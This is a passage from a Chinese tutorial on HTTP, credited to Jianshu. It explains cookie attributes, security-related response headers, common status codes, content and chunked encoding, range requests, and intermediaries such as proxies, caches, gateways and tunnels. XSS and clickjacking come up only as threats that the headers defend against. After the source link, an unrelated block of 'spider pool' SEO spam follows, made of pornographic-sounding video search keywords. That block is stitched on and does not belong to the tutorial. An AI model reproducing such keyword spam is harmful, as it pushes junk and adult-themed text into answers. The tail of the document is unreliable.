          • 另外,一旦 Cookie 從服務器端發送至客戶端,服務器端就不存在可以顯式刪除 Cookie 的方法。但可通過覆蓋已過期的 Cookie,實現對客戶端 Cookie 的實質性刪除操作。

          8.1.2 path 屬性

          Cookie 的 path 屬性可用于限制指定 Cookie 的發送范圍的文件目錄。

          8.1.3 domain 屬性

          • 通過 Cookie 的 domain 屬性指定的域名可做到與結尾匹配一致。比如,當指定 example.com 后,除example.com 以外,www.example.com 或 www2.example.com 等都可以發送 Cookie。
          • 因此,除了針對具體指定的多個域名發送 Cookie 之 外,不指定 domain 屬性顯得更安全。

          8.1.4 secure 屬性

          Cookie 的 secure 屬性用于限制 Web 頁面僅在 HTTPS 安全連接時,才可以發送 Cookie。

          8.1.5 HttpOnly 屬性

          • Cookie 的 HttpOnly 屬性是 Cookie 的擴展功能,它使 JavaScript 腳本無法獲得 Cookie。其主要目的為防止跨站腳本攻擊(Cross-site scripting,XSS)對 Cookie 的信息竊取。
          • 通過上述設置,通常從 Web 頁面內還可以對 Cookie 進行讀取操作。但使用 JavaScript 的 document.cookie 就無法讀取附加 HttpOnly 屬性后的 Cookie 的內容了。因此,也就無法在 XSS 中利用 JavaScript 劫持 Cookie 了。

          8.2 Cookie

          Cookie: status=enable
          

          首部字段 Cookie 會告知服務器,當客戶端想獲得 HTTP 狀態管理支持時,就會在請求中包含從服務器接收到的 Cookie。接收到多個 Cookie 時,同樣可以以多個 Cookie 形式發送。

          9. 其他首部字段

          HTTP 首部字段是可以自行擴展的。所以在 Web 服務器和瀏覽器的應用上,會出現各種非標準的首部字段。

          以下是最為常用的首部字段。

          9.1 X-Frame-Options

          X-Frame-Options: DENY
          

          首部字段 X-Frame-Options 屬于 HTTP 響應首部,用于控制網站內容在其他 Web 網站的 Frame 標簽內的顯示問題。其主要目的是為了防止點擊劫持(clickjacking)攻擊。首部字段 X-Frame-Options 有以下兩個可指定的字段值:

          • DENY:拒絕
          • SAMEORIGIN:僅同源域名下的頁面(Top-level-browsing-context)匹配時許可。(比如,當指定 http://sample.com/sample.html 頁面為 SAMEORIGIN 時,那么 sample.com 上所有頁面的 frame 都被允許可加載該頁面,而 example.com 等其他域名的頁面就不行了)

          9.2 X-XSS-Protection

          X-XSS-Protection: 1
          

          首部字段 X-XSS-Protection 屬于 HTTP 響應首部,它是針對跨站腳本攻擊(XSS)的一種對策,用于控制瀏覽器 XSS 防護機制的開關。首部字段 X-XSS-Protection 可指定的字段值如下:

          • 0 :將 XSS 過濾設置成無效狀態
          • 1 :將 XSS 過濾設置成有效狀態

          9.3 DNT

          DNT: 1
          

          首部字段 DNT 屬于 HTTP 請求首部,其中 DNT 是 Do Not Track 的簡稱,意為拒絕個人信息被收集,是表示拒絕被精準廣告追蹤的一種方法。首部字段 DNT 可指定的字段值如下:

          • 0 :同意被追蹤
          • 1 :拒絕被追蹤

          由于首部字段 DNT 的功能具備有效性,所以 Web 服務器需要對 DNT做對應的支持。

          9.4 P3P

          P3P: CP="CAO DSP LAW CURa ADMa DEVa TAIa PSAa PSDa IVAa IVDa OUR BUS IND
          

          首部字段 P3P 屬于 HTTP 響應首部,通過利用 P3P(The Platform for Privacy Preferences,在線隱私偏好平臺)技術,可以讓 Web 網站上的個人隱私變成一種僅供程序可理解的形式,以達到保護用戶隱私的目的。

          要進行 P3P 的設定,需按以下操作步驟進行:

          • 步驟 1:創建 P3P 隱私
          • 步驟 2:創建 P3P 隱私對照文件后,保存命名在 /w3c/p3p.xml
          • 步驟 3:從 P3P 隱私中新建 Compact policies 后,輸出到 HTTP 響應中

          七、HTTP 響應狀態碼(重點分析)

          1. 狀態碼概述

          • HTTP 狀態碼負責表示客戶端 HTTP 請求的返回結果、標記服務器端的處理是否正常、通知出現的錯誤等工作。
          • HTTP 狀態碼如 200 OK ,以 3 位數字和原因短語組成。數字中的第一位指定了響應類別,后兩位無分類。
          • 不少返回的響應狀態碼都是錯誤的,但是用戶可能察覺不到這點。比如 Web 應用程序內部發生錯誤,狀態碼依然返回 200 OK。

          2. 狀態碼類別

          我們可以自行改變 RFC2616 中定義的狀態碼或者服務器端自行創建狀態碼,只要遵守狀態碼的類別定義就可以了。

          3. 常用狀態碼解析

          HTTP 狀態碼種類繁多,數量達幾十種。其中最常用的有以下 14 種,一起來看看。

          3.1 200 OK

          表示從客戶端發來的請求在服務器端被正常處理了。

          3.2 204 No Content

          • 代表服務器接收的請求已成功處理,但在返回的響應報文中不含實體的主體部分。另外,也不允許返回任何實體的主體。
          • 一般在只需要從客戶端向服務器端發送消息,而服務器端不需要向客戶端發送新消息內容的情況下使用。

          3.3 206 Partial Content

          表示客戶端進行了范圍請求,而服務器成功執行了這部分的 GET 請求。響應報文中包含由 Content-Range 首部字段指定范圍的實體內容。

          3.4 301 Moved Permanently

          永久性重定向。表示請求的資源已被分配了新的 URI。以后應使用資源現在所指的 URI。也就是說,如果已經把資源對應的 URI 保存為書簽了,這時應該按 Location 首部字段提示的 URI 重新保存。

          3.5 302 Found

          • 臨時性重定向。表示請求的資源已被分配了新的 URI,希望用戶(本次)能使用新的 URI 訪問。
          • 和 301 Moved Permanently 狀態碼相似,但 302 Found 狀態碼代表資源不是被永久移動,只是臨時性質的。換句話說,已移動的資源對應的 URI 將來還有可能發生改變。

          3.6 303 See Other

          • 表示由于請求的資源存在著另一個 URI,應使用 GET 方法定向獲取請求的資源。
          • 303 See Other 和 302 Found 狀態碼有著相同的功能,但 303 See Other 狀態碼明確表示客戶端應采用 GET 方法獲取資源,這點與 302 Found 狀態碼有區別。

          3.7 304 Not Modified

          • 表示客戶端發送附帶條件的請求時,服務器端允許請求訪問的資源,但未滿足條件的情況。
          • 304 Not Modified 狀態碼返回時,不包含任何響應的主體部分。
          • 304 Not Modified 雖然被劃分到 3xx 類別中,但和重定向沒有關系。

          3.8 307 Temporary Redirect

          臨時重定向。該狀態碼與 302 Found 有著相同的含義。

          3.9 400 Bad Request

          • 表示請求報文中存在語法錯誤。當錯誤發生時,需修改請求的內容后再次發送請求。
          • 另外,瀏覽器會像 200 OK 一樣對待該狀態碼。

          3.10 401 Unauthorized

          • 表示發送的請求需要有通過 HTTP 認證(BASIC 認證、DIGEST 認證)的認證信息。
          • 另外,若之前已進行過 1 次請求,則表示用戶認證失敗。
          • 返回含有 401 Unauthorized 的響應必須包含一個適用于被請求資源的 WWW-Authenticate 首部用以質詢(challenge)用戶信息。

          3.11 403 Forbidden

          表明對請求資源的訪問被服務器拒絕了。服務器端沒有必要給出詳細的拒絕理由,當然也可以在響應報文的實體主體部分對原因進行描述。

          3.12 404 Not Found

          表明服務器上無法找到請求的資源。除此之外,也可以在服務器端拒絕請求且不想說明理由的時候使用。

          3.13 500 Internal Server Error

          表明服務器端在執行請求時發生了錯誤。也可能是 Web 應用存在的 bug 或某些臨時的故障。

          3.14 503 Service Unavailable

          表明服務器暫時處于超負載或正在進行停機維護,現在無法處理請求。如果事先得知解除以上狀況需要的時間,最好寫入 Retry-After 首部字段再返回給客戶端。

          八、HTTP 報文實體

          1. HTTP 報文實體概述

          HTTP 報文結構

          大家請仔細看看上面示例中,各個組成部分對應的內容。

          接著,我們來看看報文和實體的概念。如果把 HTTP 報文想象成因特網貨運系統中的箱子,那么 HTTP 實體就是報文中實際的貨物。

          • 報文:是網絡中交換和傳輸的數據單元,即站點一次性要發送的數據塊。報文包含了將要發送的完整的數據信息,其長短很不一致,長度不限且可變。
          • 實體:作為請求或響應的有效載荷數據(補充項)被傳輸,其內容由實體首部和實體主體組成。(實體首部相關內容在上面第六點中已有闡述。)

          我們可以看到,上面示例右圖中深紅色框的內容就是報文的實體部分,而藍色框的兩部分內容分別就是實體首部和實體主體。而左圖中粉紅框內容就是報文主體。

          通常,報文主體等于實體主體。只有當傳輸中進行編碼操作時,實體主體的內容發生變化,才導致它和報文主體產生差異。

          2. 內容編碼

          • HTTP 應用程序有時在發送之前需要對內容進行編碼。例如,在把很大的 HTML 文檔發送給通過慢速連接上來的客戶端之前,服務器可能會對其進行壓縮,這樣有助于減少傳輸實體的時間。服務器還可以把內容攪亂或加密,以此來防止未授權的第三方看到文檔的內容。
          • 這種類型的編碼是在發送方應用到內容之上的。當內容經過內容編碼后,編好碼的數據就放在實體主體中,像往常一樣發送給接收方。

          內容編碼類型:

          3. 傳輸編碼

          內容編碼是對報文的主體進行的可逆變換,是和內容的具體格式細節緊密相關的。

          傳輸編碼也是作用在實體主體上的可逆變換,但使用它們是由于架構方面的原因,同內容的格式無關。使用傳輸編碼是為了改變報文中的數據在網絡上傳輸的方式。

          內容編碼和傳輸編碼的對比

          4. 分塊編碼

          分塊編碼把報文分割成若干已知大小的塊。塊之間是緊挨著發送的,這樣就不需要在發送之前知道整個報文的大小了。分塊編碼是一種傳輸編碼,是報文的屬性。

          分塊編碼與持久連接

          若客戶端與服務器端之間不是持久連接,客戶端就不需要知道它在讀取的主體的長度,而只需要讀取到服務器關閉主體連接為止。

          當使用持久連接時,在服務器寫主體之前,必須知道它的大小并在 Content-Length 首部中發送。如果服務器動態創建內容,就可能在發送之前無法知道主體的長度。

          分塊編碼為這種困難提供了解決方案,只要允許服務器把主體分塊發送,說明每塊的大小就可以了。因為主體是動態創建的,服務器可以緩沖它的一部分,發送其大小和相應的塊,然后在主體發送完之前重復這個過程。服務器可以用大小為 0 的塊作為主體結束的信號,這樣就可以繼續保持連接,為下一個響應做準備。

          來看看一個分塊編碼的報文示例:

          分塊編碼的報文

          5.多部分媒體類型

          MIME 中的 multipart(多部分)電子郵件報文中包含多個報文,它們合在一起作為單一的復雜報文發送。每一部分都是獨立的,有各自的描述其內容的集,不同部分之間用分界字符串連接在一起。

          相應得,HTTP 協議中也采納了多部分對象集合,發送的一份報文主體內可包含多種類型實體。

          多部分對象集合包含的對象如下:

          • multipart/form-data:在 Web 表單文件上傳時使用。
          • multipart/byteranges:狀態碼 206 Partial Content 響應報文包含了多個范圍的內容時使用。

          6. 范圍請求

          假設你正在下載一個很大的文件,已經下了四分之三,忽然網絡中斷了,那下載就必須重頭再來一遍。為了解決這個問題,需要一種可恢復的機制,即能從之前下載中斷處恢復下載。要實現該功能,這就要用到范圍請求。

          有了范圍請求, HTTP 客戶端可以通過請求曾獲取失敗的實體的一個范圍(或者說一部分),來恢復下載該實體。當然這有一個前提,那就是從客戶端上一次請求該實體到這一次發出范圍請求的時間段內,該對象沒有改變過。例如:

          GET /bigfile.html HTTP/1.1
          Host: www.sample.com
          Range: bytes=20224-
          ···
          

          實體范圍請求示例

          上面示例中,客戶端請求的是文檔開頭20224字節之后的部分。

          九、與 HTTP 協作的 Web 服務器

          HTTP 通信時,除客戶端和服務器外,還有一些用于協助通信的應用程序。如下列出比較重要的幾個:代理、緩存、網關、隧道、Agent 代理

          1.代理

          代理

          HTTP 代理服務器是 Web 安全、應用集成以及性能優化的重要組成模塊。代理位于客戶端和服務器端之間,接收客戶端所有的 HTTP 請求,并將這些請求轉發給服務器(可能會對請求進行修改之后再進行轉發)。對用戶來說,這些應用程序就是一個代理,代表用戶訪問服務器。

          出于安全考慮,通常會將代理作為轉發所有 Web 流量的可信任中間節點使用。代理還可以對請求和響應進行過濾,安全上網或綠色上網。

          2. 緩存

          瀏覽器第一次請求:

          瀏覽器第一次請求

          瀏覽器再次請求:

          瀏覽器再次請求

          Web 緩存或代理緩存是一種特殊的 HTTP 代理服務器,可以將經過代理傳輸的常用文檔復制保存起來。下一個請求同一文檔的客戶端就可以享受緩存的私有副本所提供的服務了。客戶端從附近的緩存下載文檔會比從遠程 Web 服務器下載快得多。

          3. 網關

          HTTP / FTP 網關

          網關是一種特殊的服務器,作為其他服務器的中間實體使用。通常用于將 HTTP 流量轉換成其他的協議。網關接收請求時就好像自己是資源的源服務器一樣。客戶端可能并不知道自己正在跟一個網關進行通信。

          4. 隧道

          HTTP/SSL 隧道

          隧道是會在建立起來之后,就會在兩條連接之間對原始數據進行盲轉發的 HTTP 應用程序。HTTP 隧道通常用來在一條或多條 HTTP 連接上轉發非 HTTP 數據,轉發時不會窺探數據。

          HTTP 隧道的一種常見用途就是通過 HTTP 連接承載加密的安全套接字層(SSL)流量,這樣 SSL 流量就可以穿過只允許 Web 流量通過的防火墻了。

          5. Agent 代理

          自動搜索引擎“網絡蜘蛛”

          Agent 代理是代表用戶發起 HTTP 請求的客戶端應用程序。所有發布 Web 請求的應用程序都是 HTTP Agent 代理。

          來源:簡書 鏈接:https://www.jianshu.com/p/6e9e4156ece3


          主站蜘蛛池模板: 手机看片一区二区| 精品一区二区三区四区在线播放 | 国产福利一区视频| www一区二区三区| 在线日韩麻豆一区| 国产精品久久亚洲一区二区| 国产伦精品一区二区三区免.费| 中文字幕精品亚洲无线码一区应用| 久久4k岛国高清一区二区| 日韩精品中文字幕视频一区| AV天堂午夜精品一区二区三区| 国产精品无码一区二区三级| 夜夜精品无码一区二区三区| 国产精品主播一区二区| 亚洲Av无码一区二区二三区| 无码一区二区三区中文字幕| 爆乳熟妇一区二区三区霸乳 | 无码播放一区二区三区| 国产福利一区二区在线视频| 国产伦精品一区二区三区免.费| 中文字幕aⅴ人妻一区二区| 精品国产一区二区三区| 亚洲综合无码一区二区| 97se色综合一区二区二区| 亚洲av色香蕉一区二区三区| 无码一区二区三区在线观看| 3d动漫精品啪啪一区二区中文 | 国产精品日韩欧美一区二区三区 | 久久久久久人妻一区二区三区| 亚洲一区二区久久| 无码人妻精品一区二区三区夜夜嗨 | 精品福利视频一区二区三区| 97久久精品无码一区二区| 国产美女视频一区| 中文字幕日韩一区二区三区不 | 久夜色精品国产一区二区三区| 极品人妻少妇一区二区三区| 国产精品一区二区不卡| 国产裸体歌舞一区二区| 久久国产精品免费一区| 国产福利在线观看一区二区|